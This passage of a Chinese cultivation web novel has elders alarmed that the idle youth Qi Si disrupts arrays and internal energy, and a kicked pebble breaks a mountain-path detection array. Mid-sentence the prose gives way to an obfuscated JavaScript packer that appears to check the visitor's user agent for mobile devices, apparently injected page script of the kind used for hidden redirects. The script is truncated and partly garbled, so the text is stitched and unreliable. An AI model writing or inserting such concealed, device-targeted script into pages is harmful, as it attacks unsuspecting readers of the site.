一条被迫改变方向的河流,在撞上堤坝时,顺带把那堤坝也往回扯了一寸。
“他不只是对敌人的力道有影响。”太上长老心中闪过一个念头,“任何与他接触到的‘势’,都会被迫寻找新的流向。”
这意味着——
越是高阶、越是复杂的内力运转,在与他接触后,越容易失控。
因为原本建立在“境界”之上的所有运行规则,在他面前,都失去了参照。
……
山门前的骚动,很快传入宗门内部。
不多时,几名各堂主事长老陆续赶来,甚至还有外宗的探子混在人群中,目光灼灼地盯着齐司。
“此子不可留。”有人低声道。
“此子不可放。”另一个声音反驳。
“招入我宗,严加看管。”
“笑话,你们镇岳宗能看管得住他?刚才那几块检测石,你也看见了。”
“那就联合各宗,一起制定约束。”
各种低语在山门前的风里交织。
齐司打了个更大的哈欠,眼角都湿了一点,完全没把这些话放在心上。
他把竹枝往旁边一丢,转身就往山门里走。
“你去哪?”执法堂弟子下意识问。
“下山。”齐司头也不回,“买点吃的。”
“现在?”弟子愣住,“宗门刚——”
“饿了。”齐司只丢下两个字。
太上长老看着他那副“我只是路过”的姿态,喉结动了动,终究没说出“不得下山”四个字。
他很清楚——
以刚才护山大阵对齐司“让路”的反应,真要强行拦他,阵法未必会站在宗门这一边。
“派人跟着。”一名长老低声提议,“至少要知道他去了哪。”
“你去?”太上长老淡淡看了他一眼。
那长老想起刚才那名高阶武者被自己内力抽得吐血的样子,又看了看齐司那副懒洋洋的背影,喉咙里滚了一下:“……阵堂那边,还有事要忙。”
“我去吧。”另一个长老咬牙,“只远远看着,不与他接触。”
太上长老点了点头,又补了一句:“记住,别与他交手,别与他对视太久,别在他身边运功。”
那长老一愣:“连运功都——”
太上长老目光沉沉:“刚才我替那人稳住经脉,差点被他的倒灌之力牵着走。”
那长老脸色一变,不再多言,躬身领命,悄然跟在齐司身后。
……
下山的石阶很长,沿途松风猎猎,山影重叠。
齐司走得不快,每一步都懒洋洋的,脚尖偶尔踢起一块小石子。
那石子在石阶上“哒哒”滚了几下,忽然踩到一处暗藏的阵纹节点。
“嗡——”
一圈淡淡的光纹从石阶下方浮现,是用来检测外来者气息的简易阵法。
按理说,只要有修为在身,踏过此阵,阵纹就会根据气息强弱亮起不同的光度。
此刻,光纹刚一升起,便在接触到齐司脚边那颗小石子时,像是被什么“抹”了一下。
所有光线瞬间熄灭。
石阶下方的阵基发出一声极轻的“咔”,像是某个关键节点被烧断。
负责看守山道的弟子远远看见这一幕,脸色一白,转身就往山上跑:“报告!山道检测阵……被踩坏了!”
太上长老听完禀报,只觉得太阳穴一跳。
“他只是……踢了块石头?”他确认道。
“是。”弟子额头冒汗,“就、就是那样随便一踢……”
太上长老闭了闭眼。
从护山大阵,到山门检测石,再到山道小阵。
所有建立在“境界”“气息”“压制”之上的东
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''